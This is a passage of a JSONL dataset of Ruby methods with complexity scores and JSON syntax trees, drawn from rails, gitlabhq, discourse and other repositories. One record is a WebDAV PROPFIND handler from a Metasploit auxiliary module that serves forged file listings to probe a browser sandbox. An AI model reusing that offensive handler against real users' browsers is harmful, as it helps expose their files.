ar\",\"children\":[\"time_since_last_point\"]},\">\",{\"type\":\"lvar\",\"children\":[\"grace_period_seconds\"]}]}]}]}","id":"152e8d7e-d2d6-473c-8e04-8678ebd4587f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb","start_line":170,"raw_source":"def thread_mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil)\n    thread_mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default)\n    thread_mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"thread_mattr_accessor\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"syms\"]},{\"type\":\"kwoptarg\",\"children\":[\"instance_reader\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"instance_writer\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"instance_accessor\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"default\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread_mattr_reader\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"syms\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_reader\"]},{\"type\":\"lvar\",\"children\":[\"instance_reader\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_accessor\"]},{\"type\":\"lvar\",\"children\":[\"instance_accessor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"thread_mattr_writer\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"syms\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_writer\"]},{\"type\":\"lvar\",\"children\":[\"instance_writer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_accessor\"]},{\"type\":\"lvar\",\"children\":[\"instance_accessor\"]}]}]}]}]}]}","id":"40e9a2d0-5d83-488c-a727-3c2354528d9f"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/stories/articles_search_controller.rb","start_line":5,"raw_source":"def index\n      @query = I18n.t(\"stories_controller.searching\")\n\n      @current_ordering = current_search_results_ordering\n      set_surrogate_key_header \"articles-page-with-query\"\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"stories_controller.searching\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_ordering\",{\"type\":\"send\",\"children\":[null,\"current_search_results_ordering\"]}]},{\"type\":\"send\",\"children\":[null,\"set_surrogate_key_header\",{\"type\":\"str\",\"children\":[\"articles-page-with-query\"]}]}]}]}","id":"35a846f0-e8a7-4d28-9c97-1010f5a60bde"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/chainable.rb","start_line":22,"raw_source":"def chain_arguments_and_returns(*)\n        (chain_arguments + chain_returns).uniq.zip([]).to_h\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"chain_arguments_and_returns\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chain_arguments\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"chain_returns\"]}]}]},\"uniq\"]},\"zip\",{\"type\":\"array\",\"children\":[]}]},\"to_h\"]}]}","id":"4ea75afb-1c31-4519-8f83-fe6e4f9882f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/notifier.rb","start_line":148,"raw_source":"def expand_here_mention(to_notify, already_covered_ids)\n      has_here_mention = @parsed_mentions.has_here_mention\n\n      if has_here_mention && @chat_channel.allow_channel_wide_mentions\n        to_notify[:here_mentions] = @parsed_mentions\n          .here_mentions\n          .not_suspended\n          .where(user_options: { ignore_channel_wide_mention: [false, nil] })\n          .where.not(username_lower: @user.username_lower)\n          .where.not(id: already_covered_ids)\n          .pluck(:id)\n\n        already_covered_ids.concat(to_notify[:here_mentions])\n      else\n        to_notify[:here_mentions] = []\n      end\n    end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_here_mention\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_notify\"]},{\"type\":\"arg\",\"children\":[\"already_covered_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"has_here_mention\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed_mentions\"]},\"has_here_mention\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_here_mention\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat_channel\"]},\"allow_channel_wide_mentions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_notify\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"here_mentions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed_mentions\"]},\"here_mentions\"]},\"not_suspended\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_channel_wide_mention\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"username_lower\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"already_covered_ids\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"already_covered_ids\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_notify\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"here_mentions\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_notify\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"here_mentions\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"a20407c6-748d-4424-9559-a7398cb0ab3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":724,"raw_source":"def jira_request(path)\n      yield\n    rescue StandardError => e\n      @error = e\n      log_exception(e, message: 'Error sending message', client_url: client_url, client_path: path,\n        client_status: e.try(:code))\n      nil\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"jira_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"log_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Error sending message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_url\"]},{\"type\":\"send\",\"children\":[null,\"client_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"try\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"55b32f6b-4e57-4ed4-a410-09e8106aa098"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/generic_open_ai/client.rb","start_line":30,"raw_source":"def read(sync_config)\n        connection_config = prepare_config(sync_config.source.connection_specification)\n        stream = connection_config[:is_stream] ||= false\n        # The server checks the ConnectorQueryType.\n        # If it's \"ai_ml,\" the server calculates the payload and passes it as a query in the sync config model protocol.\n        # This query is then sent to the AI/ML model.\n        payload = parse_json(sync_config.model.query)\n\n        if stream\n          run_model_stream(connection_config, payload) { |message| yield message if block_given? }\n        else\n          run_model(connection_config, payload)\n        end\n      rescue StandardError => e\n        handle_exception(e, { context: \"GENERIC OPEN AI:READ:EXCEPTION\", type: \"error\" })\n      end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[null,\"prepare_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"source\"]},\"connection_specification\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_stream\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"parse_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"model\"]},\"query\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_model_stream\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"run_model\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"GENERIC OPEN AI:READ:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"4a1da26e-362e-4933-80ad-b112b3a70949"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":101,"raw_source":"def test_xml_http_request_patch\n    path = \"/index\"; params = \"blah\"; headers = { location: \"blah\" }\n    assert_called_with @session, :process, [:patch, path], params: params, headers: headers, xhr: true do\n      @session.patch(path, params: params, headers: headers, xhr: true)\n    end\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_xml_http_request_patch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"str\",\"children\":[\"/index\"]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"str\",\"children\":[\"blah\"]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"str\",\"children\":[\"blah\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"ivar\",\"children\":[\"@session\"]},{\"type\":\"sym\",\"children\":[\"process\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"patch\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]},\"patch\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"fee202ac-4971-4cfb-907d-e6ff25a910c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/builder/merge_request_unmergeable.rb","start_line":12,"raw_source":"def build!\n        target.merge_participants.each do |user|\n          add_recipients(user, :participating, nil)\n        end\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"merge_participants\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"add_recipients\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"participating\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"e27b1265-b406-4e7e-824f-674edd7d1796"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/dependency_proxy/find_cached_manifest_service.rb","start_line":5,"raw_source":"def initialize(group, image, tag, token)\n      @group = group\n      @image = image\n      @tag = tag\n      @token = token\n      @file_name = \"#{@image}:#{@tag}.json\"\n      @manifest = nil\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"image\"]},{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@image\",{\"type\":\"lvar\",\"children\":[\"image\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@image\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag\"]}]},{\"type\":\"str\",\"children\":[\".json\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@manifest\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"e9128227-00d7-4f77-9f02-68eb7d20a3b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ie_sandbox_findfiles.rb","start_line":204,"raw_source":"def process_propfind(cli, request)\n    path = request.uri\n    print_status(\"PROPFIND #{path}\")\n    body = ''\n\n    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n    my_uri = \"http://#{my_host}/\"\n\n    if path !~ /\\/$/\n\n      if path.index(\".\")\n        print_status \"PROPFIND => 207 File (#{path})\"\n        body = %Q|<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<D:multistatus xmlns:D=\"DAV:\" xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\">\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\n<D:href>#{path}</D:href>\n<D:propstat>\n<D:prop>\n<lp1:resourcetype/>\n<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>\n<lp1:getcontentlength>#{rand(0x100000) + 128000}</lp1:getcontentlength>\n<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>\n<lp1:getetag>\"#{\"%.16x\" % rand(0x100000000)}\"</lp1:getetag>\n<lp2:executable>T</lp2:executable>\n<D:supportedlock>\n<D:lockentry>\n<D:lockscope><D:exclusive/></D:lockscope>\n<D:locktype><D:write/></D:locktype>\n</D:lockentry>\n<D:lockentry>\n<D:lockscope><D:shared/></D:lockscope>\n<D:locktype><D:write/></D:locktype>\n</D:lockentry>\n</D:supportedlock>\n<D:lockdiscovery/>\n<D:getcontenttype>application/octet-stream</D:getcontenttype>\n</D:prop>\n<D:status>HTTP/1.1 200 OK</D:status>\n</D:propstat>\n</D:response>\n</D:multistatus>\n|\n        # send the response\n        resp = create_response(207, \"Multi-Status\")\n        resp.body = body\n        resp['Content-Type'] = 'text/xml; charset=\"utf8\"'\n        cli.send_response(resp)\n        return\n      else\n        print_status \"PROPFIND => 301 (#{path})\"\n        resp = create_response(301, \"Moved\")\n        resp[\"Location\"] = path + \"/\"\n        resp['Content-Type'] = 'text/html'\n        cli.send_response(resp)\n        return\n      end\n    end\n\n    print_status \"PROPFIND => 207 Directory (#{path})\"\n    body = %Q|<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<D:multistatus xmlns:D=\"DAV:\" xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\">\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\n<D:href>#{path}</D:href>\n<D:propstat>\n<D:prop>\n<lp1:resourcetype><D:collection/></lp1:resourcetype>\n<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>\n<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>\n<lp1:getetag>\"#{\"%.16x\" % rand(0x100000000)}\"</lp1:getetag>\n<D:supportedlock>\n<D:lockentry>\n<D:lockscope><D:exclusive/></D:lockscope>\n<D:locktype><D:write/></D:locktype>\n</D:lockentry>\n<D:lockentry>\n<D:lockscope><D:shared/></D:lockscope>\n<D:locktype><D:write/></D:locktype>\n</D:lockentry>\n</D:supportedlock>\n<D:lockdiscovery/>\n<D:getcontenttype>httpd/unix-directory</D:getcontenttype>\n</D:prop>\n<D:status>HTTP/1.1 200 OK</D:status>\n</D:propstat>\n</D:response>\n|\n\n    if request[\"Depth\"].to_i > 0\n      trail = path.split(\"/\")\n      trail.shift\n      case trail.length\n      when 0\n        body << generate_shares(path)\n      when 1\n        body << generate_files(path)\n      end\n    else\n      print_status \"PROPFIND => 207 Top-Level Directory\"\n    end\n\n    body << \"</D:multistatus>\"\n\n    body.gsub!(/\\t/, '')\n\n    # send the response\n    resp = create_response(207, \"Multi-Status\")\n    resp.body = body\n    resp['Content-Type'] = 'text/xml; charset=\"utf8\"'\n    cli.send_response(resp)\n  end","complexity_score":81.48,"ast_json":"{\"type\":\"def\",\"children\":[\"process_propfind\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"my_host\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_host\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"index\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND => 207 File (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:multistatus xmlns:D=\\\"DAV:\\\" xmlns:b=\\\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:response xmlns:lp1=\\\"DAV:\\\" xmlns:lp2=\\\"http://apache.org/dav/props/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:href>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"</D:href>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:resourcetype/>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:creationdate>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gen_datestamp\"]}]},{\"type\":\"str\",\"children\":[\"</lp1:creationdate>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getcontentlength>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[1048576]}]},\"+\",{\"type\":\"int\",\"children\":[128000]}]}]},{\"type\":\"str\",\"children\":[\"</lp1:getcontentlength>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getlastmodified>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gen_timestamp\"]}]},{\"type\":\"str\",\"children\":[\"</lp1:getlastmodified>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getetag>\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.16x\"]},\"%\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967296]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"</lp1:getetag>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp2:executable>T</lp2:executable>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:supportedlock>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockscope><D:exclusive/></D:lockscope>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:locktype><D:write/></D:locktype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockscope><D:shared/></D:lockscope>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:locktype><D:write/></D:locktype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:lockentry>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:supportedlock>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockdiscovery/>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:getcontenttype>application/octet-stream</D:getcontenttype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:status>HTTP/1.1 200 OK</D:status>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:response>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:multistatus>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[207]},{\"type\":\"str\",\"children\":[\"Multi-Status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/xml; charset=\\\"utf8\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND => 301 